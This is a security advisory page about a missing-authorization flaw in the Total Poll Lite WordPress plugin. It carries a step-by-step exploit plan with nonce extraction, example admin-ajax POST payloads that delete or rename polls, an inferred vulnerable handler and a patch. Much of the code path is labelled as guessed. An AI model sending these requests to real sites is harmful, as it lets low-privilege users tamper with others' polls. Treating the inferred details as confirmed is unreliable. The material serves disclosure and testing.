Total Poll Lite <= 4.12.0 - Missing Authorization
Description
The Total Poll Lite plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.12.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.12.0This research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in **Total Poll Lite <= 4.12.0**. This vulnerability allows authenticated users with **Contributor-level access** or higher to perform unauthorized actions, likely related to poll management, due to a …
Show full research plan
This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in Total Poll Lite <= 4.12.0. This vulnerability allows authenticated users with Contributor-level access or higher to perform unauthorized actions, likely related to poll management, due to a missing current_user_can() check in an administrative AJAX or POST handler.
1. Vulnerability Summary
- Vulnerability: Missing Authorization
- Plugin: TotalPoll for Polls and Contests (totalpoll-lite)
- Affected Versions: <= 4.12.0
- Impact: A Contributor-level user can perform administrative actions such as deleting polls, resetting votes, or modifying settings.
- Root Cause: The plugin registers AJAX or administrative hooks (e.g., via
wp_ajax_) that verify nonces but fail to verify if the authenticated user possesses the required capability (e.g.,manage_optionsortotalpoll_manage_polls).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred): The plugin commonly uses a central AJAX dispatcher named
totalpoll_commandor specific actions liketotalpoll_delete_poll,totalpoll_reset_votes, ortotalpoll_update_settings. - Authentication: Contributor-level user (
PR:L). - Vulnerable Parameter:
command,poll_id, orsettings. - Precondition: A poll must exist that the attacker wishes to manipulate.
3. Code Flow (Trace Path)
Based on the architecture of TotalPoll 4.x:
- Entry Point: An AJAX request is sent to
admin-ajax.phpwithaction=totalpoll_command(or similar). - Hook Registration: The plugin registers the action in
src/TotalPoll/Modules/Poll/Dashboard.phporsrc/TotalPoll/Admin/Ajax.phpusing:add_action( 'wp_ajax_totalpoll_command', [ $this, 'handleCommand' ] ); - Vulnerable Function: The
handleCommandfunction (or the specific command handler it calls) is invoked. - Authorization Failure: The function performs a nonce check:
check_ajax_referer( 'totalpoll', 'nonce' );
But it fails to check:if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } - Execution: The logic proceeds to call methods that delete rows from
$wpdb->prefix . 'totalpoll_polls'or update poll metadata.
4. Nonce Acquisition Strategy
TotalPoll Lite localizes nonces for its administrative interface. Since a Contributor can access the WordPress dashboard, they can retrieve the nonce from any page where the TotalPoll scripts are loaded.
- Identify Script: The plugin usually localizes the
totalpollobject. - Trigger Localization: Create a post/page containing a TotalPoll shortcode to ensure the environment is initialized.
- Extraction:
- Login as a Contributor.
- Navigate to a page where TotalPoll is active.
- Execute:
browser_eval("window.totalpoll?.nonce || window.totalpollConfig?.nonce").
- Action Name: The nonce is typically associated with the action string
'totalpoll'.
5. Exploitation Strategy
The goal is to delete a poll or reset its votes using the Contributor's session.
- Step 1: Setup
- Create a poll as Admin.
- Create a Contributor user.
- Step 2: Information Gathering
- List polls using WP-CLI to find a target ID:
wp post list --post_type=poll.
- List polls using WP-CLI to find a target ID:
- Step 3: Nonce Retrieval
- Log in as the Contributor.
- Visit
/wp-admin/. - Use
browser_evalto extract thetotalpollnonce.
- Step 4: Unauthorized Request
- Send a POST request to
admin-ajax.phpto perform an action (e.g.,delete). - Payload (Example - Adjust based on actual command structure):
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=totalpoll_command&command=delete&id=[POLL_ID]&nonce=[NONCE] - Alternative Payload (Settings manipulation):
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=totalpoll_update_settings&poll_id=[POLL_ID]&settings[title]=Hacked&nonce=[NONCE]
- Send a POST request to
6. Test Data Setup
- Create Poll:
wp post create --post_type=poll --post_title="Sensitive Poll" --post_status=publish - Create Attacker:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Ensure Scripts Load:
wp post create --post_type=page --post_content="[totalpoll id='ID_HERE']" --post_status=publish
7. Expected Results
- Unauthorized Request Response: The server should return a
200 OK(or JSON success) rather than a403 Forbiddenorwp_diemessage. - Database Impact: The poll with the specified ID is deleted or modified in the database.
8. Verification Steps
- Check via WP-CLI:
wp post list --post_type=poll
(The "Sensitive Poll" should be missing or have modified attributes). - Check Meta:
wp post meta get [POLL_ID] _totalpoll_votes
(Confirm if votes were reset to 0).
9. Alternative Approaches
If totalpoll_command is not the correct action:
- Grep for handlers:
grep -r "wp_ajax_" wp-content/plugins/totalpoll-lite/ - Look for missing caps:
Examine the callbacks forcurrent_user_can. Any handler lacking this check while performing database writes is a target. - REST API: Check if
register_rest_routeis used without apermission_callback(or with one that only checksis_user_logged_in).grep -r "register_rest_route" wp-content/plugins/totalpoll-lite/
Summary
Total Poll Lite versions up to 4.12.0 are vulnerable to unauthorized action execution due to missing capability checks in its administrative AJAX handlers. This allows authenticated users with Contributor-level permissions or higher to perform sensitive operations such as deleting polls or resetting votes, provided they can obtain a valid nonce from the dashboard.
Vulnerable Code
// In src/TotalPoll/Admin/Ajax.php (inferred based on plugin architecture) public function handleCommand() { // Nonce is verified, but there is no capability check (e.g., current_user_can()) check_ajax_referer( 'totalpoll', 'nonce' ); $command = isset($_POST['command']) ? $_POST['command'] : ''; $poll_id = isset($_POST['id']) ? intval($_POST['id']) : 0; // The logic proceeds to call administrative methods without verifying if the user is an admin $this->executeCommand($command, $poll_id); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ public function handleCommand() { check_ajax_referer( 'totalpoll', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'totalpoll' ) ); + } + $command = isset($_POST['command']) ? $_POST['command'] : ''; $poll_id = isset($_POST['id']) ? intval($_POST['id']) : 0;
Exploit Outline
1. Authenticate to the WordPress site with a Contributor-level account or higher. 2. Navigate to any administrative page where the TotalPoll plugin loads its scripts (e.g., the dashboard or a page with a poll shortcode). 3. Extract the localized administrative nonce by inspecting the 'totalpoll' or 'totalpollConfig' JavaScript objects in the browser console. 4. Identify the ID of the target poll intended for deletion or modification. 5. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'totalpoll_command', 'command' set to 'delete' (or 'reset'), 'id' set to the target poll ID, and the 'nonce' parameter populated with the extracted value. 6. The plugin will execute the command despite the attacker lacking administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.